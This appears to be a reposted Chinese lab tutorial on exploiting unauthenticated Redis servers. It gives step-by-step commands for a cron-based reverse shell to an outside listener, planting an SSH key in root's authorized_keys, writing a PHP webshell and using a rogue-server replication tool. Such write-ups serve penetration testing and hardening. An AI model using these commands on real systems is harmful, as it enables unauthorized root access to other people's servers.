<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    黑客是如何通過開放的Redis服務入侵服務器的

    VSole2022-05-09 06:02:58

    0x00 簡要說明

    百度百科:Redis(Remote Dictionary Server ),即遠程字典服務,是一個開源的使用ANSI C語言編寫、支持網絡、可基于內存亦可持久化的日志型、Key-Value數據庫,并提供多種語言的API。

    Redis因配置不當可導致攻擊者直接獲取到服務器的權限。

    • 利用條件:redis以root身份運行,未授權訪問,弱口令或者口令泄露等

    環境準備:

    測試環境IPKali192.168.100.99靶機(CentOS 7)192.168.100.101

    0x01 CentOS 7安裝Redis

    # 安裝gcc
    [root@localhost ~]# yum install -y gcc
    # 下載解壓redis安裝包
    [root@localhost ~]# wget //download.redis.io/releases/redis-5.0.0.tar.gz
    [root@localhost ~]# tar xvf redis-5.0.0.tar.gz
    # 編譯并執行安裝,指定安裝目錄為/usr/local/redis
    [root@localhost ~]# cd redis-5.0.0/
    [root@localhost redis-5.0.0]#  make && make install PREFIX=/usr/local/redis
    # 啟動redis服務并保持后臺運行
    [root@localhost redis-5.0.0]#  cd /usr/local/redis/bin/
    [root@localhost bin]# ./redis-server &
    # 關閉保護模式
    [root@localhost bin]# ./redis-cli 
    127.0.0.1:6379> config set protected-mode no
    


    0x02 通過計劃任務反彈shell

    利用條件:

    • redis以root身份運行
    • 未授權訪問或授權口令已知

    在kali中通過redis-cli -h 192.168.100.101 -p 6379連接到redis,輸入以下指令利用crontab反彈shell

    # cron表達式格式:{秒數} {分鐘} {小時} {日期} {月份} {星期} {年份(可為空)} 命令
    # 每分鐘執行一次echo "haha":* * * * * echo "haha"
    192.168.100.101:6379> set x "* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1"
    # 設置目錄為/var/spool/cron/
    192.168.100.101:6379> config set dir /var/spool/cron/
    # 設置文件名為root
    192.168.100.101:6379> config set dbfilename root
    # 保存快照到本地
    192.168.100.101:6379> save
    

    kali中打開一個新的命令行窗口執行nc -lvnp 4444進行監聽,過一會兒就能接收到反彈回來的shell:

    由于redis的壓縮儲存機制,在某些情況下會因為反彈shell的指令被壓縮,從而導致反彈shell失敗:

    192.168.100.101:6379> set x "* * * * * bash -i >& /dev/tcp/192.168.100.100/4444 0>&1"
    192.168.100.101:6379> save
    
    [root@localhost  ~]# cat /var/spool/cron/root 
    * ?bash -i &> /dev/tcp/192.168.100@/4  0>&1
    
    192.168.100.101:6379> set x "* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1"
    192.168.100.101:6379> save
    
    [root@localhost  ~]# cat /var/spool/cron/root 
    * * * * * bash -i &> /dev/tcp/192.168.100.99/4444 0>&1
    

    當運行redis的用戶為普通用戶時,會無法出現切換目錄失敗的情況:

    config set dir /var/spool/cron
    (error) ERR Changing directory: Permission denied
    


    0x03 通過寫入SSH公鑰遠程連接

    利用條件:

    • redis以root身份運行
    • 未授權訪問或授權口令已知
    • 服務器開放SSH服務且允許密鑰登錄

    在kali中使用ssh-keygen -t rsa生成密鑰:

    將生成的公鑰文件保存到本地:

    ┌──(root?kali)-[/home/kali]
    └─# (echo -e ""; cat /root/.ssh/id_rsa.pub; echo -e "") > kali
    

    將文件寫入redis進行利用:

    # 將上一步生成的kali文件寫入redis并設置鍵的值為kali
    ┌──(root?kali)-[/home/kali]
    └─# cat kali | redis-cli -h 192.168.100.101 -p 6379 -x set kali
    
    # 連接redis,并將公鑰文件寫入/root/.ssh/authorized_keys中
    ┌──(root?kali)-[/home/kali]
    └─# redis-cli -h 192.168.100.101 -p 6379
    192.168.100.101:6379> config set dir /root/.ssh/
    192.168.100.101:6379> config set dbfilename authorized_keys
    192.168.100.101:6379> save
    
    # 使用密鑰進行登錄
    ┌──(root?kali)-[/home/kali]
    └─# ssh -i /root/.ssh/id_rsa root@192.168.100.101
    


    0x04 通過寫入文件獲取webshell

    利用條件:

    • 未授權訪問或授權口令已知
    • 服務器開著WEB服務且WEB目錄路徑已知

    倘若服務器運行著LAMP/LNMP服務,且已知工作目錄為/var/www/html/,可通過以下指令寫入webshell,或參考寫入SSH公鑰的過程寫入木馬文件:

    config set dir /var/www/html/
    config set dbfilename shell.php
    set x ""
    save
    


    0x05 通過主從復制獲取shell

    利用條件:

    • 未授權訪問或授權口令已知
    • Redis <=5.0.5

    參考地址://github.com/n0b0dyCN/redis-rogue-server

    使用方法:

    python3 redis-rogue-server.py --rhost  --rport  --lhost  --lport 
    

    參數說明:

    • –rpasswd 如果目標Redis服務開啟了認證功能,可以通過該選項指定密碼
    • –rhost 目標redis服務IP
    • –rport 目標redis服務端口,默認為6379
    • –lhost vps的IP地址
    • –lport vps的端口,默認為21000
    ┌──(root?kali)-[/home/kali]
    └─# git clone //github.com/n0b0dyCN/redis-rogue-server.git
    
    ┌──(root?kali)-[/home/kali]
    └─# cd redis-rogue-server
    
    ┌──(root?kali)-[/home/kali]
    └─# python3 redis-rogue-server.py --rhost 192.168.100.101 --lhost 192.168.100.99
    



    | 文章來源于https://codingnote.cc/p/547004/

    redisroot權限
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    當我們滲透一個網站時發現從網站滲透不進去的時候,就可以查看該網站主機開啟了哪些端口,來從其開啟的端口來進行入侵
    藍隊初級防護總結
    2023-01-09 10:11:55
    三. 網站被上傳webshell如何處理?工具方面比如使用D盾webshellkill,河馬webshell查殺,百度在線webshell查殺等工具對網站目錄進行排查查殺,如果是在護網期間可以將樣本備份再進行查殺。堡壘機是針對內部運維人員的運維安全審計系統。WAFWAF是以網站或應用系統為核心的安全產品,通過對HTTP或HTTPS的Web攻擊行為進行分析并攔截,有效的降低網站安全風險。
    堡壘機是針對內部運維人員的運維安全審計系統。WAFWAF是以網站或應用系統為核心的安全產品,通過對HTTP或HTTPS的Web攻擊行為進行分析并攔截,有效的降低網站安全風險。設置賬戶鎖定策略,比如說登錄行為限制次數,達到次數后鎖定多長時間。
    Redis系列漏洞總結
    2023-06-19 10:29:18
    前言Redis的未授權漏洞一直都是一個很火的漏洞,最近看許多前輩的文章自己復現后,根據自己的實踐再次總結一下,為日后復習方便回顧。Redis簡介redis是一個key-value存儲系統。和Memcached類似,它支持存儲的value類型相對更多,包括string、list、set、zset和hash。這些數據類型都支持push/pop、add/remove及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上,redis支持各種不同方式的排序。
    漏洞描述 Weblogic中存在一個SSRF漏洞,利用該漏洞可以發送任意HTTP請求,進而攻擊內網中redis、fastcgi等脆弱組件。 CVE編號:CVE-2014-4210 影響范圍: ?Oracle WebLogic Server 10.3.6.0 ?Oracle WebLogic Server 10.0.2.0 環境搭建
    服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等) 網站指紋識別(包括,cms,cdn,證書等),dns記錄 whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等) 子域名收集,旁站,C段等 google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等 掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等 傳輸協議,通用漏洞,ex
    ?上整理的?試問題?全,有些 HW ?試的題,已經收集好了,提供給?家。
    2在一次滲透測試中拿到一個ip地址52.80.249.xx,nmap端口掃描出22,6379,80端口,目標機是linux系統的一臺服務器,6379為redis的默認端口,嘗試對其進行利用。
    0x00 簡要說明 百度百科:Redis(Remote Dictionary Server ),即遠程字典服務,是一個開源的使用ANSI C語言編寫、支持網絡、可基于內存亦可持久化的日志型、Key-Value數據庫,并提供多種語言的API。 Redis因配置不當可導致攻擊者直接獲取到服務器的權限。 利用條件:redisroot身份運行,未授權訪問,弱口令或者口令泄露等
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类